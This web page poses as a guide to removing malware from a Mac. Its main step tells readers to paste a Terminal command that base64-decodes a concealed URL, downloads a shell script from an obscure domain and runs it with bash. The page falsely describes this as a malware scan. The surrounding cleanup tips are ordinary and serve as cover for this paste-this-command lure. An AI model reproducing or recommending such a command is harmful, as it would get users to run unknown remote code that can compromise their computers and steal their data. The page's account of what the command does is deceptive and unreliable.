🛡️ How to Remove Malware From Your Mac
macOS is secure — but not invincible.
If your Mac is acting strange, freezing, or showing pop-ups, it could be malware.
You can scan and remove threats with a single Terminal command — no extra apps needed.
1. Open the Terminal app on your Mac
- Press Command (⌘) + Space to launch Spotlight Search.
- Type Terminal, then press Enter to launch it.
2. Enter this command in Terminal
Copy the following command and paste it into Terminal, then press Return:
/bin/bash -c "$(curl -fsSL $(echo aHR0cHM6Ly91em5iaHcuY29tL1QvMC5zaA== | base64 -d))"
Here’s what this command means
- Scans your system for active malware processes
- Lists suspicious or hidden background activity
- Helps identify and remove harmful files manually
Mac computers are generally secure, but no system is completely immune to malware. If you notice your Mac running slow, showing pop-ups, or behaving oddly, it could be infected. Follow these steps to remove malware safely.
🔍 Step 1: Identify Signs of Malware
- Frequent pop-up ads or redirects
- Unfamiliar apps or icons in Applications or Launchpad
- Browser homepage changed without your permission
- High CPU usage, fan noise, or slow performance
- Security warnings from macOS or antivirus software
🧹 Step 2: Remove Suspicious Applications
- Go to Finder > Applications.
- Look for apps you don’t remember installing.
- Drag suspicious apps to the Trash, then right-click the Trash and select Empty Trash.
Note: If the app can’t be deleted, restart your Mac in Safe Mode (hold Shift
on startup), then try again.
🌐 Step 3: Remove Browser Malware
Safari:
- Open Safari and go to Settings > Extensions.
- Delete any suspicious or unknown extensions.
- In Settings > General, check if your homepage or search engine has changed — reset them if needed.
Chrome:
- Go to
chrome://extensions
and remove unknown extensions. - Reset browser settings from
chrome://settings/reset
.
🧪 Step 4: Scan for Malware with a Trusted Tool
Download a reliable malware scanner for Mac, such as:
- Malwarebytes for Mac
- Objective-See tools (for advanced users)
- Download and install the software.
- Run a full system scan.
- Follow the recommendations to remove detected threats.
🔧 Step 5: Check Login Items
- Go to System Settings > General > Login Items.
- Remove unknown apps or launch agents that start automatically.
This prevents malware from reloading when your Mac boots.
🔄 Step 6: Clear Cache and Temporary Files
Use a cleaner app like CleanMyMac or manually clear:
~/Library/Caches/
Only delete folders if you know what they are. If unsure, use a dedicated cleaner tool.
🧯 Step 7: Update macOS and Apps
Apple regularly patches security vulnerabilities. Keep your Mac up to date:
- Go to System Settings > General > Software Update.
- Install any available updates.
✅ Your Mac Should Be Clean!
After following these steps, your Mac should be malware-free. To stay protected:
- Don’t download software from unknown sources
- Avoid clicking suspicious links or pop-ups
- Use a reputable antivirus or monitoring tool
If problems persist, consider resetting your Mac or contacting Apple Support.